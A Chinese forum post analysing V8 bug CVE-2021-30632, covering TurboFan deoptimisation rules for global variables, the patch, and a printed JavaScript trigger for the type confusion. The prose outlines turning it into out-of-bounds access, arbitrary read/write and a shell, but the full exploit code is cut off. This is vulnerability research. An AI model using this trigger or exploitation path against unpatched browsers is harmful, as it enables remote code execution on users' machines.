首页
社区
课程
招聘
[原创]chrome v8漏洞CVE-2021-30632浅析
发表于: 2024-3-15 15:36 11708

[原创]chrome v8漏洞CVE-2021-30632浅析

2024-3-15 15:36
11708

作者:coolboy

V8 是 Google开源的高性能 JavaScript 引擎,用于 Google Chrome 等浏览器。2021 年,V8 引擎曝出漏洞 CVE-2021-30632。漏洞产生的原因是turbofan引擎优化bug导致类型混淆,可以实现远程代码执行。

这个漏洞已经有文章分析的非常详尽了(见:链接),但阅读过程中难免还有些疑问,综合网上查询到的各种资料,弄懂以后,豁然开朗;才疏学浅,也有许多不准确和遗漏的地方。高山流水觅知音,希望可以跟同行学习交流。

v8中的JS对象总体分为两类:properties(也叫 named properties);elements (也叫indexed properties)。表示如下:

hiddenClass也称为map,它决定了JS对象是properties或者elements,见下图:

写段测试代码来实际看看:

用d8执行上述文件得到结果:

由上图可以看见,{a: "foo", b: "bar"} 通过map (hiddenClass)被标记为JS_OBJECT_TYPE,有两个属性a和b,值分别为"foo"和"bar"。

由上图可以看见,["foo", "bar"]通过map被标记为JS_ARRAY_TYPE,是一个长度为2的固定数组,元素依次为"foo"和"bar"。


当JS对象增加或者减少属性的时候,v8的map将创建新的map,新旧map之间产生迁移关系。上述代码以此产生map0-map3 共计4个map。map0迁移至map1,map1迁移至map2,依次类推。
最终的map3不再迁移到其他map,它有一个属性取值为stable,map0-map2为not stable。

迁移也可以分叉,如下图,共产生map0到map5共计6个map。其中map3,map5为stable,其他为not stable。

具有相同"形状"的js对象,它们共享一个map。对象a,b,c的map为同一个,均为stable。

示例:

结果见下图:

Ignition, 是v8的解释器, 而 TurboFan 是v8最新的优化编译器。它们的关系如下图:

JS源码经过 Parser(词法分析、语法分析) ,送入Ignition,生成字节码执行;字节码的优点是编译快,缺点是执行慢,适用于执行次数少的代码。
执行多次的字节码被标记为热点代码,将触发优化,此时由TurboFan将字节码优化编译;过往执行中记录的数据将参与优化过程,并预测将来的的执行也将是这样。这样做得优点是,执行快,编译会消耗大量的时间,适用于循环等多次执行的函数。在执行时,跟预测不符,将触发解优化(deoptimize)。
举例说明:

执行上述js,将看到下面输出:

在代码的第8行某一次循环之后,被认定为热点函数,于是store函数被优化。这之后的store(y)都将不再执行igition产生的bytecode,而是执行TurboFan优化编译之后的代码。
在第11行store(z),由于z和y的值不同,store(z)将无法继续使用参照store(y)优化之后的代码给x赋值1,于是触发了解优化,退化为bytecode执行,给x赋值2。

我们查看漏洞补丁,补丁发生在JSNativeContextSpecialization::ReduceGlobalAccess
函数,这个函数的作用是TurboFan对全局变量存取的优化。

补丁的807行有一个条件判断是否为PropertyCellType::kConstantType。先来了解下kConstantType。

PropertyCellType跟踪了对象的JS类型,比如JSObject, int, array, String等等,区别于Map描述了对象的"形状"。

我们看一下给全局变量赋值(AccessMode::kStore)优化相关的代码,保留关键部分:

第3行,表示当前代码块是对全局变量赋值的分支
第4行,判断全局变量的PropertyCellType
第6行,当类型为PropertyCellType::kConstantType
第7行,表示当前的优化依赖于属性的类型,如果属性类型发生了变化,那么将解优化。
第10行,表示如果属性的Map是stable,那么stable属性发生变化之后,那么将解优化。
第13行,表示store操作Map必须和前面保持一致,调用store时Map变化了,那么将解优化。

第7,10,13 行枚举出了三种解优化的情况:

举例说明这三种情况:

说完全局变量的store,再来说说load。关键代码如下:

第4行,表示对全局变量的load处理
第6行,表示全局变量为kConstantType类型
第8行,表示当全局变量的Map为stable时,不能修改它的Map,否则解优化。
总结load 全局变量,当优化时刻MapA为Stable,后面修改MapA为MapB。
也举例说明下:

值得一提的是,如果插入第10行代码,那么在优化时,x为MapA not stable,第20行改变X的MapA为MapB,将不满足解优化条件:“优化时刻MapA为Stable,后面修改MapA为MapB”。

综上:全局变量store和load解优化条件:
store:

load:

乍一看,上述解优化逻辑没有问题,然而百密一疏。竟然可以通过既有规则,构造出类型混淆!且看示例代码:

基于上面的分析,我们打印load,store的汇编验证一下:

回顾补丁,

加上补丁以后,有两处变化:
1.全局变量必须是stable才会进行优化。
2.store优化后,如果map变为not stable,将解优化。

这个变化将导致 store的优化失败,因为store优化时x为 not stable,不满足条件1,由此漏洞修复。

通过上述代码实现x的类型混淆,实际为 int arr[30]; 在oobWrite和oobRead中被优化为double arr[30],不再赘述分析。
通过调用oobWrite, oobRead可以实现越界读写。

连续申明的js对象,在v8分配内存时,也具有连续性。

申明的arr, b, writeArr三个对象,它们的内存也是连续的。对arr进行越界读写,会访问到b和writeArr对象的数据结构。

((double*)arr)[20] 对应b[0] 里面存放的值。下面的代码可以获取对象的地址。

((double*)arr)[24] 对应writeArr 对象的数组指针,修改数组指针,就可以实现任意地址读。

下面代码可以实现任意地址写:

./out/x64.release/d8 --allow-natives-syntax this.js 将会得到/bin/sh

漏洞分析:Chrome in-the-wild bug analysis: CVE-2021-30632
属性访问:https://v8.dev/blog/fast-properties
v8文档:https://v8.dev/

# 国内的网络编译会失败,挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。
 
git clone https://chromium.googlesource.com/chromium/tools/depot\_tools.git
export PATH=/path/to/depot\_tools:$PATH
 
mkdir \~/v8
cd \~/v8
fetch v8
cd v8
 
# 漏洞补丁前一笔提交
 
git checkout 632e6e71c5f
gclient sync
alias gm=/path/to/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
 
# test
 
./out/x64.release/d8 --help
# 国内的网络编译会失败,挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。
 
git clone https://chromium.googlesource.com/chromium/tools/depot\_tools.git
export PATH=/path/to/depot\_tools:$PATH
 
mkdir \~/v8
cd \~/v8
fetch v8
cd v8
 
# 漏洞补丁前一笔提交
 
git checkout 632e6e71c5f
gclient sync
alias gm=/path/to/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
 
# test
 
./out/x64.release/d8 --help
# 引入v8 gdb 调试支持,可以在gdb中使用job等命令查看v8对象
 
cp ./tools/gdbinit \~/.gdbinit
gdb ./out/x64.release/d8
# 引入v8 gdb 调试支持,可以在gdb中使用job等命令查看v8对象
 
cp ./tools/gdbinit \~/.gdbinit
gdb ./out/x64.release/d8
// this file is test.js
// 执行:./out/x64.release/d8 --allow-natives-syntax ./test.js
// 其中的--allow-natives-syntax 参数作用是让%DebugPrint内置函数生效,它的作用是打印对象的map等调试信息
obj1 = {a: "foo", b: "bar"};
obj2 = ["foo", "bar"];
%DebugPrint(obj1);
%DebugPrint(obj2);
// this file is test.js
// 执行:./out/x64.release/d8 --allow-natives-syntax ./test.js
// 其中的--allow-natives-syntax 参数作用是让%DebugPrint内置函数生效,它的作用是打印对象的map等调试信息
obj1 = {a: "foo", b: "bar"};
obj2 = ["foo", "bar"];
%DebugPrint(obj1);
%DebugPrint(obj2);
var a = {a: "111", b:"111" };
var b = {a: "222", b:"222" };
var c = {a: "333", b:"333" };
var a = {a: "111", b:"111" };
var b = {a: "222", b:"222" };
var c = {a: "333", b:"333" };
// this file is test.js
// 执行:./out/x64.release/d8 --allow-natives-syntax ./test.js
a = {x:'a'};
b = {x:'b'};
c = {x:'c'};
 
a.y = 'a';
 
console.log('a=====================');
%DebugPrint(a);
console.log('b=====================');
%DebugPrint(b);
console.log('c=====================');
%DebugPrint(c);
// this file is test.js
// 执行:./out/x64.release/d8 --allow-natives-syntax ./test.js
a = {x:'a'};
b = {x:'b'};
c = {x:'c'};
 
a.y = 'a';
 
console.log('a=====================');
%DebugPrint(a);
console.log('b=====================');
%DebugPrint(b);
console.log('c=====================');
%DebugPrint(c);
function store(y) {
x = y;
}
var x = 0;
var y = 1;
var z = 2;
 
for (let i = 0; i < 200000; i++) store(y);
store(y);
 
store(z);
 
// ./out/x64.release/d8 --trace-opt --trace-deopt this.js
function store(y) {
x = y;
}
var x = 0;
var y = 1;
var z = 2;
 
for (let i = 0; i < 200000; i++) store(y);
store(y);
 
store(z);
 
// ./out/x64.release/d8 --trace-opt --trace-deopt this.js
[marking 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> for optimized recompilation, reason: hot and stable]
[compiling method 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> (target TURBOFAN) using TurboFan OSR]
[optimizing 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> (target TURBOFAN) - took 0.201, 0.631, 0.033 ms]
[bailout (kind: deopt-soft, reason: Insufficient type feedback for call): begin. deoptimizing 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)>, opt id 0, bytecode offset 68, deopt exit 3, FP to SP delta 88, caller SP 0x7fff2bce2978, pc 0x23f600044202]
[marking 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> for optimized recompilation, reason: hot and stable]
[compiling method 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> (target TURBOFAN) using TurboFan OSR]
[optimizing 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> (target TURBOFAN) - took 0.201, 0.631, 0.033 ms]
[bailout (kind: deopt-soft, reason: Insufficient type feedback for call): begin. deoptimizing 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)>, opt id 0, bytecode offset 68, deopt exit 3, FP to SP delta 88, caller SP 0x7fff2bce2978, pc 0x23f600044202]
enum class PropertyCellType {
    kMutable, // Cell will no longer be tracked as constant.
    kUndefined, // The PREMONOMORPHIC of property cells.
    kConstant, // Cell has been assigned only once.
    kConstantType, // Cell has been assigned only one type.
    // Value for dictionaries not holding cells, must be 0:
    kNoCell = kMutable,
};
 
/*
PropertyCellType 定义了JS的类型,下面举例说明。
*/
var x = {a : 1};    //Constant,x第一次赋值
x = {a :2};         //ConstantType,x被赋值为相同类型
x.b = 2;            //ConstantType,x没有被赋值,仅修改它的属性,因此不改变类型
x = 2;              //kMutable,x被赋值为int,而非object,因此为kMutable
enum class PropertyCellType {
    kMutable, // Cell will no longer be tracked as constant.
    kUndefined, // The PREMONOMORPHIC of property cells.
    kConstant, // Cell has been assigned only once.
    kConstantType, // Cell has been assigned only one type.
    // Value for dictionaries not holding cells, must be 0:
    kNoCell = kMutable,
};
 
/*
PropertyCellType 定义了JS的类型,下面举例说明。
*/
var x = {a : 1};    //Constant,x第一次赋值
x = {a :2};         //ConstantType,x被赋值为相同类型
x.b = 2;            //ConstantType,x没有被赋值,仅修改它的属性,因此不改变类型
x = 2;              //kMutable,x被赋值为int,而非object,因此为kMutable
Reduction JSNativeContextSpecialization::ReduceGlobalAccess() {
    ...
    DCHECK_EQ(AccessMode::kStore, access_mode);                 // 3
    switch (property_details.cell_type()) {                     // 4
        ...
        case PropertyCellType::kConstantType: {                 // 6
        dependencies()->DependOnGlobalProperty(property_cell);  // 7
        ...
        if (property_cell_value_map.is_stable()) {
            dependencies()->DependOnStableMap(property_cell_value_map); // 10
        }
        effect = graph()->NewNode(
        simplified()->CheckMaps(                                // 13
            CheckMapsFlag::kNone,
            ZoneHandleSet(property_cell_value_map.object())),
            value, effect, control);
    ...
}
Reduction JSNativeContextSpecialization::ReduceGlobalAccess() {
    ...
    DCHECK_EQ(AccessMode::kStore, access_mode);                 // 3
    switch (property_details.cell_type()) {                     // 4
        ...
        case PropertyCellType::kConstantType: {                 // 6
        dependencies()->DependOnGlobalProperty(property_cell);  // 7
        ...
        if (property_cell_value_map.is_stable()) {
            dependencies()->DependOnStableMap(property_cell_value_map); // 10
        }
        effect = graph()->NewNode(
        simplified()->CheckMaps(                                // 13
            CheckMapsFlag::kNone,
            ZoneHandleSet(property_cell_value_map.object())),
            value, effect, control);
    ...
}
// 全局变量属性的类型发生变化
x = {value:"x"};
y = {value:"y"};
z = [1,2,3]
 
function store(y) {
    x = y;
}
 
// PrepareFunctionForOptimization OptimizeFunctionOnNextCall内置函数实现优化
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
 
store(y);
 
// property\_cell 类型发生变化,JS类型从object变成了array,因此解优化
x = z;
 
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出:
// [marking dependent code 0x2c3f00044001 (0x2c3f08153141 ) (opt id 0) for deoptimization, reason: prototype-check]
// 全局变量属性的类型发生变化
x = {value:"x"};
y = {value:"y"};
z = [1,2,3]
 
function store(y) {
    x = y;
}
 
// PrepareFunctionForOptimization OptimizeFunctionOnNextCall内置函数实现优化
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
 
store(y);
 
// property\_cell 类型发生变化,JS类型从object变成了array,因此解优化
x = z;
 
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出:
// [marking dependent code 0x2c3f00044001 (0x2c3f08153141 ) (opt id 0) for deoptimization, reason: prototype-check]
// 全局变量Map由stable变为not stable
 
x = {value:"x"};
y = {value:"y"};
 
function store(y) {
    x = y;
}
 
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
 
store(y);
 
// x 和 y 有相同MapA, stable
// y执行下面代码以后,拥有MapB, stable。x变为MapA not stale。因此解优化。
y.new\_value = "y";
 
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [marking dependent code 0x3c5600044001 (0x3c5608153141 ) (opt id 0) for deoptimization, reason: prototype-check]
// 全局变量Map由stable变为not stable
 
x = {value:"x"};
y = {value:"y"};
 
function store(y) {
    x = y;
}
 
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
 
store(y);
 
// x 和 y 有相同MapA, stable
// y执行下面代码以后,拥有MapB, stable。x变为MapA not stale。因此解优化。
y.new\_value = "y";
 
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [marking dependent code 0x3c5600044001 (0x3c5608153141 ) (opt id 0) for deoptimization, reason: prototype-check]
// 传入store参数的Map和前面不一致
x = {value:"x"};
y = {value:"y"};
z = {value1:"z", value2:"z"};
 
function store(y) {
    x = y;
}
 
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
 
store(y);
 
store(z); // z的Map和x的Map不一致
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [bailout (kind: deopt-eager, reason: wrong map): begin. deoptimizing 0x0f6a08153375 \<JSFunction store (sfi = 0xf6a08153161)>, opt id 0, bytecode offset 2, deopt exit 1, FP to SP delta 32, caller SP 0x7ffd634e5b40, pc 0x0f6a00044145]
// 传入store参数的Map和前面不一致
x = {value:"x"};
y = {value:"y"};
z = {value1:"z", value2:"z"};
 
function store(y) {
    x = y;
}
 
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
 
store(y);
 
store(z); // z的Map和x的Map不一致
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [bailout (kind: deopt-eager, reason: wrong map): begin. deoptimizing 0x0f6a08153375 \<JSFunction store (sfi = 0xf6a08153161)>, opt id 0, bytecode offset 2, deopt exit 1, FP to SP delta 32, caller SP 0x7ffd634e5b40, pc 0x0f6a00044145]
Reduction JSNativeContextSpecialization::ReduceGlobalAccess()
{
    ...
    if (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) {      // 4
        ...
        if (property_details.cell_type() == PropertyCellType::kConstantType) {      // 6
            ...
            if (property_cell_value_map.is_stable()) {                              // 8
                dependencies()->DependOnStableMap(property_cell_value_map);
                map = property_cell_value_map.object();
            }
            ...
        }
        ...
    }
    ...
}
Reduction JSNativeContextSpecialization::ReduceGlobalAccess()
{
    ...
    if (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) {      // 4
        ...
        if (property_details.cell_type() == PropertyCellType::kConstantType) {      // 6
            ...
            if (property_cell_value_map.is_stable()) {                              // 8
                dependencies()->DependOnStableMap(property_cell_value_map);
                map = property_cell_value_map.object();
            }
            ...
        }
        ...
    }
    ...
}
// 优化时刻MapA为Stable,后面修改MapA为MapB
 
x = {value:"x"};
y = {value:"y"};        // x,y MapA stable
 
function load() {
    return x['value']
}
 
//y.new\_value = '11';     // line 10
 
%PrepareFunctionForOptimization(load);
load();
 
%OptimizeFunctionOnNextCall(load);
load();                 // 优化时x为MapA stable
 
load();
 
x.new_value = '11';     // x 变为MapB,解优化 line 20
 
// // ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [marking dependent code 0x1e2900044001 (0x1e2908153151 ) (opt id 0) for deoptimization, reason: prototype-check]
// 优化时刻MapA为Stable,后面修改MapA为MapB
 
x = {value:"x"};
y = {value:"y"};        // x,y MapA stable
 
function load() {
    return x['value']
}
 
//y.new\_value = '11';     // line 10
 
%PrepareFunctionForOptimization(load);
load();
 
%OptimizeFunctionOnNextCall(load);
load();                 // 优化时x为MapA stable
 
load();
 
x.new_value = '11';     // x 变为MapB,解优化 line 20
 
// // ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [marking dependent code 0x1e2900044001 (0x1e2908153151 ) (opt id 0) for deoptimization, reason: prototype-check]
function store(y) {
    x = y;
}
function load() {
return x.b;
}
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};   // all has mapA, stable
 
%PrepareFunctionForOptimization(store);
store(x2);
 
x1.b = 1;           // x1 has mapB, stable
                    // x x2 x3 has mapA, not stable
%OptimizeFunctionOnNextCall(store);
store(x2);          // optimizatiin,x has MapA in store
 
// x此时为 mapA, not stable。执行x.b=3。将变为MapB,stable
// 无法命中store解优化的个条件,因此store不会解优化
/*
1. 全局变量属性的类型发生变化
2. 全局变量Map由stable变为not stable
3. 传入store参数的Map和前面不一致
不命中:
4. 回顾前面,需要通过"="赋值才会触发PropertyCellType类型修改。不命中。
5. not stable变为stable并非stable变为not stable。不命中。
6. 并非调用优化函数,而是对x的属性做修改,不命中。
*/
x.b = 3;        // x MapB stable
 
%PrepareFunctionForOptimization(load);
load();         // x has mapB
%OptimizeFunctionOnNextCall(load);
load();         // x has mapB in load
 
/*
用jit打败jit的精髓之处就在这里了。 :)
此时x为 MapB stable,x3为MapA not stable。
回顾上面解优化条件:
store:
 
1. 全局变量属性的类型发生变化。不命中。
2. 全局变量Map由stable变为not stable。命中。
3. 传入store参数的Map和前面不一致。x3 x2均为MapA,不命中。
load:
4. 优化时刻MapA为Stable,后面修改MapA为MapB。命中。
 
总结起来看,store(x3)命中store解优化条件2和load解优化条件1。那么第51行代码应该触发store和load解优化。然而实际情况是没有发生任何解优化,x3按照优化代码的逻辑赋值给了x,x变为MapA not stable.
为什么没有解优化呢?原因是所有的解优化条件对于已经优化的代码store是不生效的,只对没有编译的bytecode生效。
用jit打败jit,用魔法打败魔法。 :)
*/
store(x3);
 
// x 此时真实为MapA, not stable。而load优化的代码中,x为MapB stable,类型混淆,执行56行将导致crash。
%DebugPrint(load());
function store(y) {
    x = y;
}
function load() {
return x.b;
}
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};   // all has mapA, stable
 
%PrepareFunctionForOptimization(store);
store(x2);
 
x1.b = 1;           // x1 has mapB, stable
                    // x x2 x3 has mapA, not stable
%OptimizeFunctionOnNextCall(store);
store(x2);          // optimizatiin,x has MapA in store
 
// x此时为 mapA, not stable。执行x.b=3。将变为MapB,stable
// 无法命中store解优化的个条件,因此store不会解优化
/*
1. 全局变量属性的类型发生变化
2. 全局变量Map由stable变为not stable
3. 传入store参数的Map和前面不一致
不命中:
4. 回顾前面,需要通过"="赋值才会触发PropertyCellType类型修改。不命中。
5. not stable变为stable并非stable变为not stable。不命中。
6. 并非调用优化函数,而是对x的属性做修改,不命中。
*/
x.b = 3;        // x MapB stable
 
%PrepareFunctionForOptimization(load);
load();         // x has mapB
%OptimizeFunctionOnNextCall(load);
load();         // x has mapB in load
 
/*
用jit打败jit的精髓之处就在这里了。 :)
此时x为 MapB stable,x3为MapA not stable。
回顾上面解优化条件:
store:
 
1. 全局变量属性的类型发生变化。不命中。
2. 全局变量Map由stable变为not stable。命中。
3. 传入store参数的Map和前面不一致。x3 x2均为MapA,不命中。
load:
4. 优化时刻MapA为Stable,后面修改MapA为MapB。命中。
 
总结起来看,store(x3)命中store解优化条件2和load解优化条件1。那么第51行代码应该触发store和load解优化。然而实际情况是没有发生任何解优化,x3按照优化代码的逻辑赋值给了x,x变为MapA not stable.
为什么没有解优化呢?原因是所有的解优化条件对于已经优化的代码store是不生效的,只对没有编译的bytecode生效。
用jit打败jit,用魔法打败魔法。 :)
*/
store(x3);
 
// x 此时真实为MapA, not stable。而load优化的代码中,x为MapB stable,类型混淆,执行56行将导致crash。
%DebugPrint(load());
function store(y) {
    x = y;
}
 
function load() {
    return x.b;
}
 
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};
 
%PrepareFunctionForOptimization(store);
store(x2);
x1.b = 1;
%OptimizeFunctionOnNextCall(store);
store(x2);
x.b = 3;
 
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load();
 
store(x3);
 
console.log("x=================");
%DebugPrint(x);
console.log("x1=================");
%DebugPrint(x1);
console.log("x3=================");
%DebugPrint(x3);
%DebugPrint(load());
 
// ./out/x64.release/d8 --print-opt-code --trace-opt --trace-deopt --allow-natives-syntax this.js
/*
x 和 x3为相同的MapA not stable,如下:
DebugPrint: 0x183008049a71: [JS_OBJECT_TYPE]
 - map: 0x183008187961 <Map(HOLEY_ELEMENTS)> [FastProperties]
 ...
 }
0x183008187961: [Map]
 - type: JS_OBJECT_TYPE
 ...
  
 x1为MapB stable,如下:
 DebugPrint: 0x183008049a51: [JS_OBJECT_TYPE]
 - map: 0x183008187989 <Map(HOLEY_ELEMENTS)> [FastProperties]
 ...
 }
0x183008187989: [Map]
 - type: JS_OBJECT_TYPE
 - stable_map
  
 MapA 的地址为0x183008187961
 MapB 的地址为0x183008187989,结合前面的分析,x在store中的优化代码中预设为MapA,在load中预设为MapB。查看它们对应的汇编,符合预期。
 store:
 ...
 REX.W movq rcx,0x1830081535f5    ;; object: 0x1830081535f5 <PropertyCell name=0x183008153061 <String[1]: #x> value=0x183008049a61 <Object map = 0x183008187961>>
 ...
  
 load:
 ...
 REX.W movq rdx,0x1830081535f5    ;; object: 0x1830081535f5 <PropertyCell name=0x183008153061 <String[1]: #x> value=0x183008049a61 <Object map = 0x183008187989>>
 ...
*/
function store(y) {
    x = y;

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 5
支持
分享
最新回复 (3)
雪    币: 3352
活跃值: (30956)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-3-18 09:34
1
雪    币: 0
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢分享
2024-3-18 11:45
0
雪    币: 1299
活跃值: (2014)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
豁然开朗
2024-3-21 00:07
0
游客
登录 | 注册 方可回帖
返回
//